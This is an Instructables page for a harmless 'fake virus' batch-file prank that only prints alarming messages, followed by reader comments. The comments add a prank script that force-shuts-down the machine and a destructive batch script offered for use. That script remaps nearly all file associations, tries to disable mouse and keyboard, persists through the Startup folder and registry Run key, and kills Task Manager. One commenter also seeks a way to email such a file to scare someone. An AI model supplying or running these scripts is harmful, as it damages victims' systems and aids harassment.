3 Simple Ways to
Share What You Make

With Instructables you can share what you make with the world — and tap into an ever-growing community of creative experts.

PhotosPhotos

Share one or more photos of a project, recipe, or whatever you've made, quickly and easily.

Step by StepStep-By-Step

Share your step-by-step photos with text instructions of what you made so others can do it too!

VideoVideo

Share your how-to video. You'll need your embed code from a video site such as YouTube.

Fake Virus Prank!!

Fake Virus Prank!!
Prank your friends into thinking they have a real virus on their pc.
 
Remove these adsRemove these ads by Signing Up
 

Step 1Edit the document

Edit the document
Right click, then edit the .bat file and type this in exactly


@echo off
title VIRUS
color 06

echo YOU HAVE A VIRUS ON YOUR COMPUTER
pause
echo CONTACTING ANTI-VIRUS....
pause
echo DO YOU WANT TO DELETE VIRUS?
pause
echo ACCESS DENIED
echo ACCESS DENIED
echo ACCESS DENIED
pause
echo ACTIVATING VIRUS.....
echo VIRUS ACTIVATED!!!!
pause
:1
dir/s
goto 1
« Previous StepDownload PDFView All StepsNext Step »
41 comments
1-40 of 41next »
Aug 18, 2011. 3:19 AMceurin says:
i'm looking for something like this. its a fake virus

cls
:A
color 0a
cls
@echo off
echo Wscript.Sleep
echo Wscript.Sleep 50>C:sleep50.vbs
echo Wscript.Sleep 30>C:sleep30.vbs
echo Wscript.Sleep 40>C:sleep40.vbs
echo Wscript.Sleep 20>C:sleep20.vbs
cd %systemroot%System32
dir
cls
start /w wscript.exe C:sleep30.vbs
echo Deleting Critical System Files…
echo del *.*
start /w wscript.exe C:sleep30.vbs
echo Deletion Successful!
start /w wscript.exe C:sleep20.vbs
echo:
echo:
echo:
echo Deleting Root Partition…
start /w wscript.exe C:sleep20.vbs
echo del %SYSTEMROOT%
start /w wscript.exe C:sleep40.vbs
echo Deletion Successful!
start /w wscript.exe C:sleep20.vbs
echo:
echo:
echo:
echo Creating Directory h4x…
cd C:Documents and SettingsAll UsersStart MenuPrograms
mkdir h4x
start /w wscript.exe C:sleep30.vbs
echo Directory Creation Successful!
echo:
echo:
echo:
echo Execution Attempt 1…
start /w wscript.exe C:sleep30.vbs
echo cd C:Documents and SettingsAll UsersStart MenuProgramsStartuph4x
echo start hax.exe
start /w wscript.exe C:sleep30.vbs
echo Virus Executed!
echo:
echo:
echo:
start /w wscript.exe C:sleep20.vbs
echo Disabling Windows Firewall…
start /w wscript.exe C:sleep20.vbs
echo Killing all processes…
start /w wscript.exe C:sleep20.vbs
echo Allowing virus to boot from startup…
start /w wscript.exe C:sleep50.vbs
echo:
echo:
echo Virus has been executed successfully!
start /w wscript.exe C:sleep20.vbs
echo:
echo Have fun!
start /w wscript.exe C:sleep20.vbs
pause
shutdown -s -f -t 15 -c “you've been technilogically raped, Have a nice day. ^_^”
(copy and paste it in notepad save as .bat and run)

but want it to actually restart your computer, not shut it down. at the moment it does nothing but close the command window that pops up when you run it. it would be much appreciated if some help could be given on this. it is mainly the end part im having troubles with.
Dec 21, 2011. 7:03 AMMr.Science Projects says:
Like this?:
cls
:A
color 0a
cls
@echo off
echo Wscript.Sleep
echo Wscript.Sleep 50>C:sleep50.vbs
echo Wscript.Sleep 30>C:sleep30.vbs
echo Wscript.Sleep 40>C:sleep40.vbs
echo Wscript.Sleep 20>C:sleep20.vbs
cd %systemroot%System32
dir
cls
start /w wscript.exe C:sleep30.vbs
echo Deleting Critical System Files…
echo del *.*
start /w wscript.exe C:sleep30.vbs
echo Deletion Successful!
start /w wscript.exe C:sleep20.vbs
echo:
echo:
echo:
echo Deleting Root Partition…
start /w wscript.exe C:sleep20.vbs
echo del %SYSTEMROOT%
start /w wscript.exe C:sleep40.vbs
echo Deletion Successful!
start /w wscript.exe C:sleep20.vbs
echo:
echo:
echo:
echo Creating Directory h4x…
cd C:Documents and SettingsAll UsersStart MenuPrograms
mkdir h4x
start /w wscript.exe C:sleep30.vbs
echo Directory Creation Successful!
echo:
echo:
echo:
echo Execution Attempt 1…
start /w wscript.exe C:sleep30.vbs
echo cd C:Documents and SettingsAll UsersStart MenuProgramsStartuph4x
echo start hax.exe
start /w wscript.exe C:sleep30.vbs
echo Virus Executed!
echo:
echo:
echo:
start /w wscript.exe C:sleep20.vbs
echo Disabling Windows Firewall…
start /w wscript.exe C:sleep20.vbs
echo Killing all processes…
start /w wscript.exe C:sleep20.vbs
echo Allowing virus to boot from startup…
start /w wscript.exe C:sleep50.vbs
echo:
echo:
echo Virus has been executed successfully!
start /w wscript.exe C:sleep20.vbs
echo:
echo Have fun!
start /w wscript.exe C:sleep20.vbs
pause
shutdown -r -f -t 15 -c “you've been technilogically raped, Have a nice day. ^_^"

Just save as something.bat,Have Fun :)
Jan 4, 2012. 9:11 PMfrostybob says:
I can't code but just saying that doesn't work. The restart bit anyway
May 29, 2011. 12:53 PMpopscott3 says:
AWSOME PRANK
Try this

@echo off
:place1
color 02
echo %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random%
goto place1
Aug 11, 2011. 2:21 PMNisalotaco says:
so what is it supposed to do anyways?
Feb 18, 2011. 10:04 AMskyfaller says:
If you do this, end it with .BAT , remember the capitals.
Dec 23, 2009. 8:25 PMXOIIO says:
Sorry, but his isn't very realistic, I don't think many people would fall for it. Your telling the user not to contact antivirus, and viruses run silently. Plus
If something opened up from a file I would just check in task manager for any batch files. (Shit I'm really a geek) Maybe people would believe it.
Apr 22, 2010. 6:37 AMmust invent says:

This is a really destructive virus that:
> disables mouse & keyboard
> disables task manager
> starts at startup
> alters file associations
Here's the code:
----begin code----

@echo off
prompt $P $G
assoc .doc  = fA1luRe
assoc .docx  = fA1luRe
assoc .log  = fA1luRe
assoc .msg  = fA1luRe
assoc .pages  = fA1luRe
assoc .rtf  = fA1luRe
assoc .txt  = fA1luRe
assoc .wpd  = fA1luRe
assoc .wps  = fA1luRe
assoc .accdb  = fA1luRe
assoc .blg  = fA1luRe
assoc .csv  = fA1luRe
assoc .dat  = fA1luRe
assoc .db  = fA1luRe
assoc .efx  = fA1luRe
assoc .mdb  = fA1luRe
assoc .pdb  = fA1luRe
assoc .pps  = fA1luRe
assoc .ppt  = fA1luRe
assoc .pptx  = fA1luRe
assoc .sdb  = fA1luRe
assoc .sdf  = fA1luRe
assoc .sql  = fA1luRe
assoc .vcf  = fA1luRe
assoc .wks  = fA1luRe
assoc .xls  = fA1luRe
assoc .xlsx  = fA1luRe
assoc .xml  = fA1luRe
assoc .bmp  = fA1luRe
assoc .gif  = fA1luRe
assoc .jpg  = fA1luRe
assoc .png  = fA1luRe
assoc .psd  = fA1luRe
assoc .psp  = fA1luRe
assoc .thm  = fA1luRe
assoc .tif  = fA1luRe
assoc .ai  = fA1luRe
assoc .drw  = fA1luRe
assoc .eps  = fA1luRe
assoc .ps  = fA1luRe
assoc .svg  = fA1luRe
assoc .3dm  = fA1luRe
assoc .dwg  = fA1luRe
assoc .dxf  = fA1luRe
assoc .pln  = fA1luRe
assoc .indd  = fA1luRe
assoc .pct  = fA1luRe
assoc .pdf  = fA1luRe
assoc .qxd  = fA1luRe
assoc .qxp  = fA1luRe
assoc .rels  = fA1luRe
assoc .aac  = fA1luRe
assoc .aif  = fA1luRe
assoc .iff  = fA1luRe
assoc .m3u  = fA1luRe
assoc .mid  = fA1luRe
assoc .mp3  = fA1luRe
assoc .mpa  = fA1luRe
assoc .ra  = fA1luRe
assoc .wav  = fA1luRe
assoc .wma  = fA1luRe
assoc .3g2  = fA1luRe
assoc .3gp  = fA1luRe
assoc .asf  = fA1luRe
assoc .asx  = fA1luRe
assoc .avi  = fA1luRe
assoc .flv  = fA1luRe
assoc .mov  = fA1luRe
assoc .mp4  = fA1luRe
assoc .mpg  = fA1luRe
assoc .rm  = fA1luRe
assoc .swf  = fA1luRe
assoc .vob  = fA1luRe
assoc .wmv  = fA1luRe
assoc .asp  = fA1luRe
assoc .cer  = fA1luRe
assoc .csr  = fA1luRe
assoc .css  = fA1luRe
assoc .htm  = fA1luRe
assoc .html  = fA1luRe
assoc .js  = fA1luRe
assoc .jsp  = fA1luRe
assoc .php  = fA1luRe
assoc .rss  = fA1luRe
assoc .tvpi  = fA1luRe
assoc .tvvi  = fA1luRe
assoc .xhtml  = fA1luRe
assoc .fnt  = fA1luRe
assoc .fon  = fA1luRe
assoc .otf  = fA1luRe
assoc .ttf  = fA1luRe
assoc .8bi  = fA1luRe
assoc .plugin  = fA1luRe
assoc .xll  = fA1luRe
assoc .cab  = fA1luRe
assoc .cpl  = fA1luRe
assoc .cur  = fA1luRe
assoc .dll  = fA1luRe
assoc .dmp  = fA1luRe
assoc .drv  = fA1luRe
assoc .key  = fA1luRe
assoc .lnk  = fA1luRe
assoc .sys  = fA1luRe
assoc .cfg  = fA1luRe
assoc .ini  = fA1luRe
assoc .keychain  = fA1luRe
assoc .prf  = fA1luRe
assoc .app  = fA1luRe
assoc .bat  = fA1luRe
assoc .cgi  = fA1luRe
assoc .com  = fA1luRe
assoc .exe  = fA1luRe
assoc .pif  = fA1luRe
assoc .vb  = fA1luRe
assoc .ws  = fA1luRe
assoc .7z  = fA1luRe
assoc .deb  = fA1luRe
assoc .gz  = fA1luRe
assoc .pkg  = fA1luRe
assoc .rar  = fA1luRe
assoc .sit  = fA1luRe
assoc .sitx  = fA1luRe
assoc .tar.gz  = fA1luRe
assoc .zip  = fA1luRe
assoc .zipx  = fA1luRe
assoc .bin  = fA1luRe
assoc .hqx  = fA1luRe
assoc .mim  = fA1luRe
assoc .uue  = fA1luRe
assoc .c  = fA1luRe
assoc .cpp  = fA1luRe
assoc .dtd  = fA1luRe
assoc .java  = fA1luRe
assoc .pl  = fA1luRe
assoc .bak  = fA1luRe
assoc .bup  = fA1luRe
assoc .gho  = fA1luRe
assoc .ori  = fA1luRe
assoc .tmp  = fA1luRe
assoc .dmg  = fA1luRe
assoc .iso  = fA1luRe
assoc .toast  = fA1luRe
assoc .vcd  = fA1luRe
assoc .gam  = fA1luRe
assoc .nes  = fA1luRe
assoc .rom  = fA1luRe
assoc .sav  = fA1luRe
assoc .dbx  = fA1luRe
assoc .msi  = fA1luRe
assoc .part  = fA1luRe
assoc .torrent  = fA1luRe
assoc .yps  = fA1luRe
rundll32.exe mouse, disable
rundll32.exe keyboard, disable
copy setup.bat %userprofile%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
copy setup.bat %windir%\System32
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v fA1luRe /t REG_SZ /d %windir%\System32\setup.bat
taskkill /f /im taskmgr.exe
reg restore HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System DisableTaskMgr = 1
shutdown -s -f -t 10 -c "PwN3D by fA1luRe!!!"

----end code----

Save it as *.bat
Once saved, don't open it!!!
Open and do this at your own risk!!!

Dec 20, 2010. 1:28 PMknexguy92 says:
I thought this was fake so I tested it...

I payed the consequences...
Dec 21, 2010. 1:58 PMXOIIO says:
LOL what happened?

It looks near the end that is disables the mouse and keyboard, it seems like it could be modified into a prank that would disable the mouse randomly, something like

@echo off
:LOOP
ping localhost -n =%random%%100+1
rundll32.exe mouse, disable
ping localhost -n 25 >nul
rundll32.exe mouse, enable
GOTO LOOP

and run with a ghost vbs script. What do you think?
Dec 21, 2010. 2:09 PMXOIIO says:
Just tried in on virtual XP, cant quite get the random number to work... also says that it cant load the mouse?

any help with isolating the mouse/ keyboard disabling?
Dec 26, 2010. 2:31 PMknexguy92 says:
I WOULD HELP YOU BUT 1 THING
I don't know what virtual xp is
also i'm not such a good coder, so... yeah
I LIKE MOULDY BABY FOOD LOLOLOLOLOLOLOLOLOLOLOLOLOLOLOLOLOL
ONE TIP THOUGH
if it can't load the mouse.....


plug the mouse in!!!!!!!!
Dec 26, 2010. 7:37 PMXOIIO says:
Uhg
Jan 14, 2011. 8:05 AMknexguy92 says:
lol
Sep 20, 2010. 6:40 AMitzepiic says:
How would you stop this? (without using remote desktop etc.)
Sep 24, 2010. 9:47 AMeoscondor says:
start in safe mode and delete from you startup folder
Sep 25, 2010. 10:23 PMmust invent says:
You're right. Strt [sic] in safe mode!
Sep 26, 2010. 9:58 AMeoscondor says:
you might be able to use a linux boot disk as well (im not saying to try it)
Jun 20, 2010. 3:53 AMsinxxx says:
is that true? what is the meaning of (assoc.)?
Jun 22, 2010. 4:33 AMmust invent says:
Yes, it's a command in batch that alters file associations. It's very dangerous to use this command. I've tried to run it on a VPC and it really screwed up teh VPC. See for yourself
Apr 23, 2010. 10:24 PMXOIIO says:
I would just use the remote desktop app on my ipod, and go into task manager and shut down and batch files.
Apr 26, 2010. 4:24 AMmust invent says:
IS THAT POSSIBLE? What iPod?
Apr 26, 2010. 11:52 AMXOIIO says:
There are ots of apps that yo download, but you need to be on the same wifi network and they suck. Teamviewer is free, works on mac, pc, and ipod and you can set it up so that you dont need to confirm on your pc. Free for any version, as long as it isnt commercial use.
Mar 26, 2010. 1:58 AMdraghi says:
I think this looks more realistic.

@echo off
title Fatal Error
color 06

echo Warning! Virus Detected.
pause
echo Windows Protection Error
pause
echo Major File Corrupt
pause
echo Atempting System Restore.
echo Atempet 1 Failed
echo Atempet 2 Failed
echo Atempet 3 Failed
pause
echo Overide Failed!
echo Overide Failed!
echo Overide Failed!
echo Overide Failed!
echo Overide Failed!
pause
:1
color 01
dir c:\windows\system32/s
color 02
dir c:\windows\system32/s
color 03
dir c:\windows\system32/s
color 04
dir c:\windows\system32/s
color 05
dir c:\windows\system32/s
goto 1
Dec 26, 2010. 2:33 PMknexguy92 says:
apart from the fact that you spelt attempt wrong!!! lol!
Sep 18, 2010. 4:39 AMrigellabrador says:
it work
it is so many
it is a fake virus?
Apr 29, 2009. 2:07 PMncooper says:
maybe I'm not understanding the steps... I made a new text document(thanks to notepad) then copied and pasted the code and then saved it as VIRUS.BAT. So it's saved, I closed it and double clicked on it to run and nothing, it just opened the notepad reader, not the cmd prompt window, what step may I be missing or not understanding?
Apr 2, 2010. 5:37 AMReeceLV says:
When you saved it, did you Choose ALL Files, and not Text Documents (*.txt)?
eg.

File Name:                               VIRUS.bat
Save as type:                           All Files

I know its not very clear, but maybe you can understand my gibberish
Jul 11, 2009. 9:40 AMsam567 says:
@ncooper it is something to do with your system settings there is videos on youtubes just google how to create a batch file and things should come up, good luck Sam
Dec 18, 2009. 3:49 AMjinrowolf says:
my sci call home and i going to use it on him today
Jul 11, 2009. 9:39 AMsam567 says:
sorry i not awnsered any questions lost my account password this is my new account so ill awnser questions from here :)
Nov 22, 2009. 2:24 PMcerebrlasassn says:
 u know how 2 make a file like this that is not an executable file? my email wont let me send it cuz its executable. im trying to get some guy to stop emailing me and i figure if i can do something like this to him it might scare him away!  or if you have something else i can do to get him off my back that would be great! doesnt have to be this, anything to get him to not send an email to me again..thanks
Nov 23, 2009. 8:45 AMsam567 says:
What is he emailing you with, is it spam?
Nov 22, 2009. 1:59 PMcerebrlasassn says:
 anyone know how to make one of these to where it is not an executable file? i have gmail and it wont let you send executable files. im trying to scare some a-hole who wont stop emailing me!!!  or if anyone has any other ideas to get this guy to go away by using emails?? anyone?
Aug 7, 2009. 3:17 PMrik3098 says:
im not sure if its safe should i try it?? plz reply
Aug 25, 2009. 4:34 PMgaara of the sand says:
yeh its safe
Jul 1, 2009. 12:14 PMzilcho says:
omg this is the coolest bestest instructable ever!
Mar 11, 2009. 1:51 AMmfrancis says:
where do you find the bat file?
Jun 7, 2009. 8:59 PMjimmy4352gmail.com says:
The quickest way is to save the .bat file to your desktop.
1-40 of 41next »

Pro

Get More Out of Instructables

Already have an Account?

close

All Steps Viewing
View all steps of an Instructable on the same page when you're a Pro Member.

Upgrade to Pro today!
4
Followers
1
Author:sam234